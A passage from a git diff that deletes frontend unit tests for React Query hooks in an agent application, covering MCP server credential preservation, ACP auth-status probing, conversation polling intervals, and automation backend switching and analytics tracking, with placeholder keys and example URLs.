AppConversation; - - vi.mocked( - AgentServerConversationService.updateConversationRepository, - ).mockRejectedValue(new Error("nope")); - - const { Wrapper, client } = createWrapper(); - client.setQueryData(cacheKey, baseConversation); - - const { result } = renderHook(() => useUpdateConversationRepository(), { - wrapper: Wrapper, - }); - - result.current.mutate({ - conversationId, - repository: "owner/repo", - branch: "main", - gitProvider: "github", - }); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - - const cached = client.getQueryData(cacheKey); - expect(cached?.selected_repository).toBeNull(); - expect(cached?.selected_branch).toBeNull(); - expect(cached?.git_provider).toBeNull(); - }); -}); diff --git a/__tests__/hooks/mutation/use-update-mcp-server.test.ts b/__tests__/hooks/mutation/use-update-mcp-server.test.ts deleted file mode 100644 index cd6d29a1d..000000000 --- a/__tests__/hooks/mutation/use-update-mcp-server.test.ts +++ /dev/null @@ -1,146 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import React from "react"; -import SettingsService, { - type SettingsApiResponse, -} from "#/api/settings-service/settings-service.api"; -import { REDACTED_MCP_SECRET_VALUE } from "#/utils/mcp-config"; - -const useSettingsMock = vi.fn(); -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -import { useUpdateMcpServer } from "#/hooks/mutation/use-update-mcp-server"; -import { - __resetMcpHealthStoreForTests, - getMcpHealthSnapshot, - setMcpServerHealth, -} from "#/api/mcp-health/mcp-health-store"; -import type { MCPServerConfig } from "#/types/mcp-server"; -import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key"; - -const createWrapper = () => { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - function Wrapper({ children }: { children: React.ReactNode }) { - return React.createElement( - QueryClientProvider, - { client: queryClient }, - children, - ); - } - return Wrapper; -}; - -describe("useUpdateMcpServer - stdio credential preservation", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - }); - - it("saves the encrypted stdio env, not the redacted placeholder, when a stdio server is renamed", async () => { - // The redacted settings the editor reads from still carry the original name - // ("old_name") and redacted env. The user renames to "new_name" and leaves - // the secret env value as the redaction placeholder. - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { - mcp_config: { - old_name: { - command: "npx", - env: { API_KEY: REDACTED_MCP_SECRET_VALUE }, - }, - }, - }, - }, - }); - - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - agent_settings: { - mcp_config: { - old_name: { - command: "npx", - env: { API_KEY: "gAAAAA-encrypted-api-key" }, - }, - }, - }, - } as unknown as SettingsApiResponse); - - const { result } = renderHook(() => useUpdateMcpServer(), { - wrapper: createWrapper(), - }); - - await result.current.mutateAsync({ - serverId: "stdio-0", - server: { - id: "stdio-0", - type: "stdio", - name: "new_name", - command: "npx", - env: { API_KEY: REDACTED_MCP_SECRET_VALUE }, - }, - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(SettingsService.saveSettings).toHaveBeenCalledTimes(1); - const savedDiff = vi.mocked(SettingsService.saveSettings).mock.calls[0][0] - .agent_settings_diff as Record | undefined; - const savedSdkConfig = savedDiff?.mcp_config; - expect(savedSdkConfig).toMatchObject({ - new_name: { - command: "npx", - env: { API_KEY: "gAAAAA-encrypted-api-key" }, - }, - }); - // The literal placeholder must never round-trip into the saved config. - expect(JSON.stringify(savedSdkConfig)).not.toContain( - REDACTED_MCP_SECRET_VALUE, - ); - }); -}); - -describe("useUpdateMcpServer - health reset", () => { - beforeEach(() => { - vi.clearAllMocks(); - __resetMcpHealthStoreForTests(); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - }); - - it("clears the server's stored health verdict when its config is saved", async () => { - // A verdict from before the edit describes a different credential/config - // and must not survive the save as a stale (possibly false) healthy. - const server: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "custom", - url: "https://mcp.example.com/mcp", - }; - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { - mcp_config: { custom: { url: server.url, transport: "http" } }, - }, - }, - }); - const key = getMcpServerHealthKey(server); - setMcpServerHealth(key, { - status: "healthy", - verification: "verified", - toolCount: 1, - checkedAt: 1, - }); - - const { result } = renderHook(() => useUpdateMcpServer(), { - wrapper: createWrapper(), - }); - await result.current.mutateAsync({ serverId: server.id, server }); - - await waitFor(() => - expect(getMcpHealthSnapshot()[key]).toBeUndefined(), - ); - }); -}); diff --git a/__tests__/hooks/query/use-acp-auth-status.test.tsx b/__tests__/hooks/query/use-acp-auth-status.test.tsx deleted file mode 100644 index 6ffca8e08..000000000 --- a/__tests__/hooks/query/use-acp-auth-status.test.tsx +++ /dev/null @@ -1,131 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { renderHook, waitFor } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -import { useAcpAuthStatus } from "#/hooks/query/use-acp-auth-status"; - -// Active backend is swapped per-test (local vs cloud) via this mutable holder. -const backendMock = vi.hoisted(() => ({ - current: { - backend: { id: "local-1", kind: "local" as "local" | "cloud" }, - orgId: null as string | null, - }, -})); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => backendMock.current, -})); - -// AcpService.getAuthStatus resolves an AcpAuthStatus string (it runs the -// detection command + classifies internally; that logic is unit-tested in -// acp-service.api.test.ts). -const getAuthStatus = vi.hoisted(() => vi.fn()); -vi.mock("#/api/acp-service/acp-service.api", () => ({ - default: { - getAuthStatus: (...args: unknown[]) => getAuthStatus(...args), - }, -})); - -function wrapper({ children }: { children: React.ReactNode }) { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return {children}; -} - -beforeEach(() => { - vi.clearAllMocks(); - backendMock.current = { - backend: { id: "local-1", kind: "local" }, - orgId: null, - }; -}); - -describe("useAcpAuthStatus", () => { - it("reports authenticated when the probe says so", async () => { - getAuthStatus.mockResolvedValue("authenticated"); - - const { result } = renderHook(() => useAcpAuthStatus("claude-code"), { - wrapper, - }); - - await waitFor(() => expect(result.current.status).toBe("authenticated")); - // The provider key parameterizes the probe. - expect(getAuthStatus).toHaveBeenCalledTimes(1); - expect(getAuthStatus).toHaveBeenCalledWith("claude-code"); - }); - - it("reports unauthenticated when the probe says so", async () => { - getAuthStatus.mockResolvedValue("unauthenticated"); - - const { result } = renderHook(() => useAcpAuthStatus("codex"), { wrapper }); - - await waitFor(() => expect(result.current.status).toBe("unauthenticated")); - expect(getAuthStatus).toHaveBeenCalledWith("codex"); - }); - - it("falls back to unknown when the probe call rejects", async () => { - getAuthStatus.mockRejectedValue(new Error("network down")); - - const { result } = renderHook(() => useAcpAuthStatus("claude-code"), { - wrapper, - }); - - // A rejected probe must not be read as "not logged in" — it stays unknown - // so the caller keeps showing the API-key fields. - await waitFor(() => expect(result.current.isChecking).toBe(false)); - expect(result.current.status).toBe("unknown"); - }); - - it("surfaces an unknown status from the probe verbatim", async () => { - getAuthStatus.mockResolvedValue("unknown"); - - const { result } = renderHook(() => useAcpAuthStatus("claude-code"), { - wrapper, - }); - - await waitFor(() => expect(result.current.isChecking).toBe(false)); - expect(result.current.status).toBe("unknown"); - }); - - it("does not probe on a cloud backend", async () => { - backendMock.current = { - backend: { id: "cloud-1", kind: "cloud" }, - orgId: null, - }; - - const { result } = renderHook(() => useAcpAuthStatus("claude-code"), { - wrapper, - }); - - await Promise.resolve(); - expect(result.current.status).toBe("unknown"); - expect(result.current.isSupported).toBe(false); - expect(getAuthStatus).not.toHaveBeenCalled(); - }); - - it("probes credential-less providers too (e.g. gemini-cli, OAuth login)", async () => { - // Eligibility is not tied to having API-key fields — the server can detect - // subscription/OAuth providers like Gemini, so the hook must still probe. - getAuthStatus.mockResolvedValue("authenticated"); - - const { result } = renderHook(() => useAcpAuthStatus("gemini-cli"), { - wrapper, - }); - - await waitFor(() => expect(result.current.status).toBe("authenticated")); - expect(result.current.isSupported).toBe(true); - expect(getAuthStatus).toHaveBeenCalledWith("gemini-cli"); - }); - - it("does not probe when disabled (e.g. the step is not the active slide)", async () => { - const { result } = renderHook( - () => useAcpAuthStatus("claude-code", { enabled: false }), - { wrapper }, - ); - - await Promise.resolve(); - expect(result.current.status).toBe("unknown"); - expect(getAuthStatus).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/query/use-active-conversation.test.ts b/__tests__/hooks/query/use-active-conversation.test.ts deleted file mode 100644 index d82a8c491..000000000 --- a/__tests__/hooks/query/use-active-conversation.test.ts +++ /dev/null @@ -1,249 +0,0 @@ -/** - * Tests that useActiveConversation passes the correct refetchInterval callback - * to useUserConversation. - * - * Regression: the original callback only fast-polled (3 s) when - * conversation_url was absent. For PAUSED sandboxes the cloud API keeps the - * old conversation_url — checking that field alone left the hook on the slow - * 30-second interval while the sandbox was waking up after a resume call. - * - * The fix adds sandbox_status === "PAUSED" as a second fast-poll trigger so - * the hook picks up the PAUSED → RUNNING transition within ~3 s regardless of - * whether conversation_url is present. - * - * It also fast-polls while the title is still unset and the agent is actively - * executing, so the header title (which lands asynchronously) refreshes within - * ~3 s instead of on the slow 30 s tick. - */ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderHook } from "@testing-library/react"; -import { useActiveConversation } from "#/hooks/query/use-active-conversation"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; - -// ── Mocks ───────────────────────────────────────────────────────────────────── - -const { mockUseUserConversation, mockSetCurrentConversation } = vi.hoisted( - () => ({ - mockUseUserConversation: vi.fn(), - mockSetCurrentConversation: vi.fn(), - }), -); - -vi.mock("#/hooks/query/use-user-conversation", () => ({ - useUserConversation: (...args: unknown[]) => mockUseUserConversation(...args), -})); - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "conv-test" }), - useConversationId: () => ({ conversationId: "conv-test" }), -})); - -vi.mock("#/api/conversation-service/conversation-service.api", () => ({ - default: { setCurrentConversation: mockSetCurrentConversation }, -})); - -// ── Helpers ─────────────────────────────────────────────────────────────────── - -type IntervalFn = (query: { - state: { data: AppConversation | null | undefined }; -}) => number; - -/** Render the hook and return the refetchInterval function it passed to useUserConversation. */ -function renderAndCaptureIntervalFn(): IntervalFn { - let captured: IntervalFn | undefined; - - mockUseUserConversation.mockImplementation( - (_cid: string | null, intervalFn: IntervalFn) => { - captured = intervalFn; - return { - data: undefined, - isLoading: false, - isPending: false, - isFetched: false, - error: null, - isError: false, - }; - }, - ); - - renderHook(() => useActiveConversation()); - - if (!captured) throw new Error("useUserConversation was not called"); - return captured; -} - -function makeQuery(data: Partial | null | undefined): { - state: { data: AppConversation | null | undefined }; -} { - if (!data) return { state: { data: data as null | undefined } }; - return { - state: { - data: { - id: "conv-1", - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test", - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2024-01-01T00:00:00Z", - updated_at: "2024-01-01T00:00:00Z", - execution_status: null, - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - session_api_key: null, - sandbox_id: null, - sub_conversation_ids: [], - ...data, - } as AppConversation, - }, - }; -} - -// ── Tests ───────────────────────────────────────────────────────────────────── - -describe("useActiveConversation — refetchInterval callback", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("returns 3000 when sandbox_status is PAUSED (even if conversation_url is present)", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ - sandbox_status: "PAUSED", - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - }), - ); - - expect(result).toBe(3000); - }); - - it("returns 3000 when conversation_url is null (sandbox still starting)", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn(makeQuery({ conversation_url: null })); - - expect(result).toBe(3000); - }); - - it("returns 30000 when conversation_url is present and sandbox_status is null (local backend)", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ sandbox_status: null, conversation_url: "https://..." }), - ); - - expect(result).toBe(30000); - }); - - it("returns 30000 when conversation_url is present and sandbox_status is RUNNING", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ - sandbox_status: "RUNNING", - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - }), - ); - - expect(result).toBe(30000); - }); - - it("returns 30000 when query data is null (conversation not yet loaded)", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - // data is null / undefined — the `if (data && ...)` guard returns false - expect(intervalFn(makeQuery(null))).toBe(30000); - expect(intervalFn(makeQuery(undefined))).toBe(30000); - }); - - // ── fast-poll until the title is set ─────────────────────────────────────── - - it("returns 3000 when title is unset and the agent is actively executing", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ - title: null, - execution_status: ExecutionStatus.RUNNING, - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - sandbox_status: "RUNNING", - }), - ); - - expect(result).toBe(3000); - }); - - it("returns 3000 when title is an empty string and the agent is actively executing", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ - title: "", - execution_status: ExecutionStatus.IDLE, - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - sandbox_status: "RUNNING", - }), - ); - - expect(result).toBe(3000); - }); - - it("returns 30000 when title is set, even while the agent is executing", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ - title: "Generated title", - execution_status: ExecutionStatus.RUNNING, - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - sandbox_status: "RUNNING", - }), - ); - - expect(result).toBe(30000); - }); - - it("returns 30000 when title is unset but execution has errored (no title is coming)", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ - title: null, - execution_status: ExecutionStatus.ERROR, - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - sandbox_status: "RUNNING", - }), - ); - - expect(result).toBe(30000); - }); - - it("returns 30000 when title is unset and execution_status is null (idle/terminal, not active)", () => { - const intervalFn = renderAndCaptureIntervalFn(); - - const result = intervalFn( - makeQuery({ - title: null, - execution_status: null, - conversation_url: - "https://sandbox.example.com/api/conversations/conv-1", - sandbox_status: "RUNNING", - }), - ); - - expect(result).toBe(30000); - }); -}); diff --git a/__tests__/hooks/query/use-agent-settings-schema.test.tsx b/__tests__/hooks/query/use-agent-settings-schema.test.tsx deleted file mode 100644 index ad78f31b2..000000000 --- a/__tests__/hooks/query/use-agent-settings-schema.test.tsx +++ /dev/null @@ -1,96 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { act, renderHook, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { - __resetActiveStoreForTests, - NO_BACKEND_ID, -} from "#/api/backend-registry/active-store"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { useActiveBackendContext } from "#/contexts/active-backend-context"; -import { useAgentSettingsSchema } from "#/hooks/query/use-agent-settings-schema"; -import type { SettingsSchema } from "#/types/settings"; -import { withLlmSubscriptionSchemaFields } from "#/utils/llm-subscription-schema"; - -const agentSchema: SettingsSchema = { - model_name: "AgentSettings", - sections: [ - { - key: "llm", - label: "LLM", - fields: [], - }, - ], -}; - -function makeWrapper(queryClient = new QueryClient()) { - function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); - } - return Wrapper; -} - -function useSchemaWithBackendContext() { - return { - backendContext: useActiveBackendContext(), - schemaQuery: useAgentSettingsSchema(), - }; -} - -beforeEach(() => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - __resetActiveStoreForTests(); -}); - -afterEach(() => { - window.localStorage.clear(); - vi.restoreAllMocks(); - __resetActiveStoreForTests(); -}); - -describe("useAgentSettingsSchema", () => { - it("waits for a configured backend, then fetches schema for that backend", async () => { - const getSettingsSchemaSpy = vi - .spyOn(SettingsService, "getSettingsSchema") - .mockResolvedValue(agentSchema); - - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - }, - }); - - const { result } = renderHook(() => useSchemaWithBackendContext(), { - wrapper: makeWrapper(queryClient), - }); - - expect(result.current.backendContext.active.backend.id).toBe(NO_BACKEND_ID); - await waitFor(() => { - expect(getSettingsSchemaSpy).not.toHaveBeenCalled(); - }); - - act(() => { - result.current.backendContext.addBackend({ - name: "Local", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", - }); - }); - - await waitFor(() => { - expect(result.current.schemaQuery.data).toEqual( - withLlmSubscriptionSchemaFields(agentSchema), - ); - }); - expect(getSettingsSchemaSpy).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/hooks/query/use-automation-health.test.tsx b/__tests__/hooks/query/use-automation-health.test.tsx deleted file mode 100644 index ba712dbee..000000000 --- a/__tests__/hooks/query/use-automation-health.test.tsx +++ /dev/null @@ -1,67 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClientProvider, QueryClient } from "@tanstack/react-query"; -import { useAutomationHealth } from "#/hooks/query/use-automation-health"; -import AutomationService from "#/api/automation-service/automation-service.api"; - -vi.mock("#/api/automation-service/automation-service.api", () => ({ - default: { - checkHealth: vi.fn(), - }, -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => ({ - backend: { id: "test-backend", kind: "local" }, - orgId: null, - }), -})); - -function createWrapper() { - const queryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, - }); - return ({ children }: { children: React.ReactNode }) => ( - {children} - ); -} - -describe("useAutomationHealth", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("should return healthy status when backend is available", async () => { - vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" }); - - const { result } = renderHook(() => useAutomationHealth(), { - wrapper: createWrapper(), - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(result.current.data?.status).toBe("ok"); - }); - - it("should return error status when backend is not available", async () => { - vi.mocked(AutomationService.checkHealth).mockResolvedValue({ - status: "error", - message: "Automation backend is not available", - }); - - const { result } = renderHook(() => useAutomationHealth(), { - wrapper: createWrapper(), - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(result.current.data?.status).toBe("error"); - expect(result.current.data?.message).toBe( - "Automation backend is not available", - ); - }); -}); diff --git a/__tests__/hooks/query/use-automation-sdk-version.test.tsx b/__tests__/hooks/query/use-automation-sdk-version.test.tsx deleted file mode 100644 index 7d0cb7747..000000000 --- a/__tests__/hooks/query/use-automation-sdk-version.test.tsx +++ /dev/null @@ -1,117 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import AutomationService from "#/api/automation-service/automation-service.api"; -import type { ResolvedActiveBackend } from "#/api/backend-registry/types"; -import { - __resetAutomationSdkVersionCacheForTests, - useAutomationSdkVersion, -} from "#/hooks/query/use-automation-sdk-version"; - -vi.mock("#/api/automation-service/automation-service.api", () => ({ - default: { - getSdkVersion: vi.fn(), - }, -})); - -const activeBackendMock = vi.hoisted(() => ({ - active: { - backend: { - id: "local-1", - name: "Local", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", - }, - orgId: null, - } as ResolvedActiveBackend, -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => activeBackendMock.active, -})); - -describe("useAutomationSdkVersion", () => { - beforeEach(() => { - vi.clearAllMocks(); - __resetAutomationSdkVersionCacheForTests(); - activeBackendMock.active = { - backend: { - id: "local-1", - name: "Local", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", - }, - orgId: null, - }; - }); - - it("shares one SDK version request across multiple hook consumers", async () => { - vi.mocked(AutomationService.getSdkVersion).mockResolvedValue("1.36.3"); - - const { result } = renderHook(() => ({ - first: useAutomationSdkVersion(), - second: useAutomationSdkVersion(), - })); - - await waitFor(() => expect(result.current.first).toBe("1.36.3")); - - expect(result.current.second).toBe("1.36.3"); - expect(AutomationService.getSdkVersion).toHaveBeenCalledTimes(1); - }); - - it("keeps the SDK version cached across hook remounts", async () => { - vi.mocked(AutomationService.getSdkVersion).mockResolvedValue("1.36.3"); - - const first = renderHook(() => useAutomationSdkVersion()); - await waitFor(() => expect(first.result.current).toBe("1.36.3")); - first.unmount(); - - const second = renderHook(() => useAutomationSdkVersion()); - expect(second.result.current).toBe("1.36.3"); - - expect(AutomationService.getSdkVersion).toHaveBeenCalledTimes(1); - }); - - it("fetches a new SDK version when the active backend changes", async () => { - vi.mocked(AutomationService.getSdkVersion) - .mockResolvedValueOnce("1.36.3") - .mockResolvedValueOnce("1.37.0"); - - const { result, rerender } = renderHook(() => useAutomationSdkVersion()); - await waitFor(() => expect(result.current).toBe("1.36.3")); - - activeBackendMock.active = { - backend: { - id: "cloud-1", - name: "Cloud", - host: "https://app.all-hands.dev", - apiKey: "cloud-key", - kind: "cloud", - }, - orgId: "org-1", - }; - rerender(); - - await waitFor(() => expect(result.current).toBe("1.37.0")); - expect(AutomationService.getSdkVersion).toHaveBeenCalledTimes(2); - }); - - it("does not query without an available backend", () => { - activeBackendMock.active = { - backend: { - id: "no-backend", - name: "No Backend Available", - host: "", - apiKey: "", - kind: "local", - }, - orgId: null, - }; - - const { result } = renderHook(() => useAutomationSdkVersion()); - - expect(result.current).toBeNull(); - expect(AutomationService.getSdkVersion).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/query/use-automations-backend-switch.test.tsx b/__tests__/hooks/query/use-automations-backend-switch.test.tsx deleted file mode 100644 index c2a711ec1..000000000 --- a/__tests__/hooks/query/use-automations-backend-switch.test.tsx +++ /dev/null @@ -1,341 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import React from "react"; -import { act, renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import AutomationService from "#/api/automation-service/automation-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - useAutomations, - useDispatchAutomation, - useDeleteAutomation, - useToggleAutomation, - useUpdateAutomation, -} from "#/hooks/query/use-automations"; -import { - useAutomationDetail, - useAutomationRuns, -} from "#/hooks/query/use-automation-detail"; -import type { Backend } from "#/api/backend-registry/types"; -import { AutomationRunStatus } from "#/types/automation"; -import type { - Automation, - AutomationRun, - AutomationsResponse, - AutomationRunsResponse, -} from "#/types/automation"; -import * as telemetry from "#/services/telemetry"; - -vi.mock("#/api/automation-service/automation-service.api", () => ({ - default: { - getAutomations: vi.fn(), - getAutomation: vi.fn(), - getAutomationRuns: vi.fn(), - dispatchAutomation: vi.fn(), - deleteAutomation: vi.fn(), - updateAutomation: vi.fn(), - toggleAutomation: vi.fn(), - }, -})); - -let captureMock: ReturnType; - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ data: { user_consents_to_analytics: true } }), -})); - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", -}; - -const automation: Automation = { - id: "auto-1", - name: "Test", - prompt: "p", - trigger: { type: "schedule", schedule_human: "Daily" }, - enabled: true, - repository: "acme/repo", - model: "daily-profile", - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", -}; - -const automationRun: AutomationRun = { - id: "run-1", - status: AutomationRunStatus.PENDING, - conversation_id: null, - bash_command_id: null, - error_detail: null, - started_at: "2026-01-02T00:00:00Z", - completed_at: null, -}; - -const listResponse: AutomationsResponse = { - automations: [automation], - total: 1, -}; - -function makeWrapper() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); - }; -} - -beforeEach(() => { - captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined); - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked(AutomationService.getAutomations).mockReset(); - vi.mocked(AutomationService.getAutomation).mockReset(); - vi.mocked(AutomationService.getAutomationRuns).mockReset(); - vi.mocked(AutomationService.dispatchAutomation).mockReset(); - vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue( - automationRun, - ); - vi.mocked(AutomationService.deleteAutomation).mockReset(); - vi.mocked(AutomationService.updateAutomation).mockReset(); - vi.mocked(AutomationService.toggleAutomation).mockReset(); - vi.mocked(AutomationService.deleteAutomation).mockResolvedValue(undefined); - vi.mocked(AutomationService.updateAutomation).mockResolvedValue(automation); - vi.mocked(AutomationService.toggleAutomation).mockResolvedValue(automation); - - vi.mocked(AutomationService.getAutomations).mockResolvedValue(listResponse); - vi.mocked(AutomationService.getAutomation).mockResolvedValue(automation); - setRegisteredBackends([localBackend, cloudBackend]); - setActiveSelection({ backendId: localBackend.id }); -}); - -afterEach(() => { - captureMock.mockRestore(); - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("automation hooks — backend switch", () => { - it("useAutomations refetches when the active backend changes", async () => { - // Arrange — mount under the local backend; capture the initial fetch. - const { result } = renderHook( - () => useAutomations({ limit: 50, offset: 0 }), - { wrapper: makeWrapper() }, - ); - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1); - - // Act — flip the active backend to a cloud one. - setActiveSelection({ backendId: cloudBackend.id }); - - // Assert — react-query treats the new (backend, org) as a brand-new - // query (the key includes active.backend.id + active.orgId), so a - // second fetch fires automatically without any explicit invalidate. - await waitFor(() => { - expect(AutomationService.getAutomations).toHaveBeenCalledTimes(2); - }); - }); - - it("useAutomationDetail refetches when the active backend changes", async () => { - const { result } = renderHook(() => useAutomationDetail({ id: "auto-1" }), { - wrapper: makeWrapper(), - }); - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1); - - setActiveSelection({ backendId: cloudBackend.id }); - - await waitFor(() => { - expect(AutomationService.getAutomation).toHaveBeenCalledTimes(2); - }); - }); - - it("useDispatchAutomation dispatches the selected automation", async () => { - const { result } = renderHook(() => useDispatchAutomation(), { - wrapper: makeWrapper(), - }); - - await act(async () => { - await result.current.mutateAsync("auto-1"); - }); - - expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith("auto-1"); - }); -}); - -describe("useAutomationRuns — polling", () => { - const pendingRun: AutomationRun = { - id: "run-pending", - status: AutomationRunStatus.PENDING, - conversation_id: null, - bash_command_id: null, - error_detail: null, - started_at: "2026-01-02T00:00:00Z", - completed_at: null, - }; - const completedRun: AutomationRun = { - id: "run-pending", - status: AutomationRunStatus.COMPLETED, - conversation_id: "conv-1", - bash_command_id: "cmd-1", - error_detail: null, - started_at: "2026-01-02T00:00:00Z", - completed_at: "2026-01-02T00:00:30Z", - }; - - it( - "re-fetches while a run is non-terminal, and stops once all runs are terminal", - async () => { - // Arrange: first fetch returns a PENDING run (polling should engage); - // subsequent fetches return a COMPLETED run (polling should then stop). - const pendingResponse: AutomationRunsResponse = { - runs: [pendingRun], - total: 1, - }; - const completedResponse: AutomationRunsResponse = { - runs: [completedRun], - total: 1, - }; - vi.mocked(AutomationService.getAutomationRuns) - .mockResolvedValueOnce(pendingResponse) - .mockResolvedValue(completedResponse); - - // Act - renderHook( - () => useAutomationRuns({ id: "auto-1", limit: 20, offset: 0 }), - { wrapper: makeWrapper() }, - ); - - // Assert: the initial fetch fires once. - await waitFor(() => { - expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1); - }); - - // The cached data still contains a PENDING run, so refetchInterval - // engages and a second fetch arrives within the poll window. - await waitFor( - () => { - expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(2); - }, - { timeout: 5000 }, - ); - - // The second fetch returned a COMPLETED run, so polling should stop. - // Give the would-be next poll window plenty of slack and assert no - // further calls happen. - await new Promise((resolve) => { - setTimeout(resolve, 4000); - }); - expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(2); - }, - 15000, - ); -}); - -describe("automation mutation hooks — analytics tracking", () => { - it("captures automation_executed after a successful dispatch", async () => { - const { result } = renderHook(() => useDispatchAutomation(), { - wrapper: makeWrapper(), - }); - - await act(async () => { - await result.current.mutateAsync("auto-1"); - }); - - await waitFor(() => { - expect(captureMock).toHaveBeenCalledWith( - "automation_executed", - expect.objectContaining({ backend_kind: "local" }), - ); - }); - }); - - it("captures automation_deleted after a successful delete", async () => { - const { result } = renderHook(() => useDeleteAutomation(), { - wrapper: makeWrapper(), - }); - - await act(async () => { - await result.current.mutateAsync("auto-1"); - }); - - await waitFor(() => { - expect(captureMock).toHaveBeenCalledWith( - "automation_deleted", - expect.objectContaining({ backend_kind: "local" }), - ); - }); - }); - - it("captures automation_edited after a successful update", async () => { - const { result } = renderHook(() => useUpdateAutomation(), { - wrapper: makeWrapper(), - }); - - await act(async () => { - await result.current.mutateAsync({ - id: "auto-1", - body: { name: "Renamed" }, - }); - }); - - await waitFor(() => { - expect(captureMock).toHaveBeenCalledWith( - "automation_edited", - 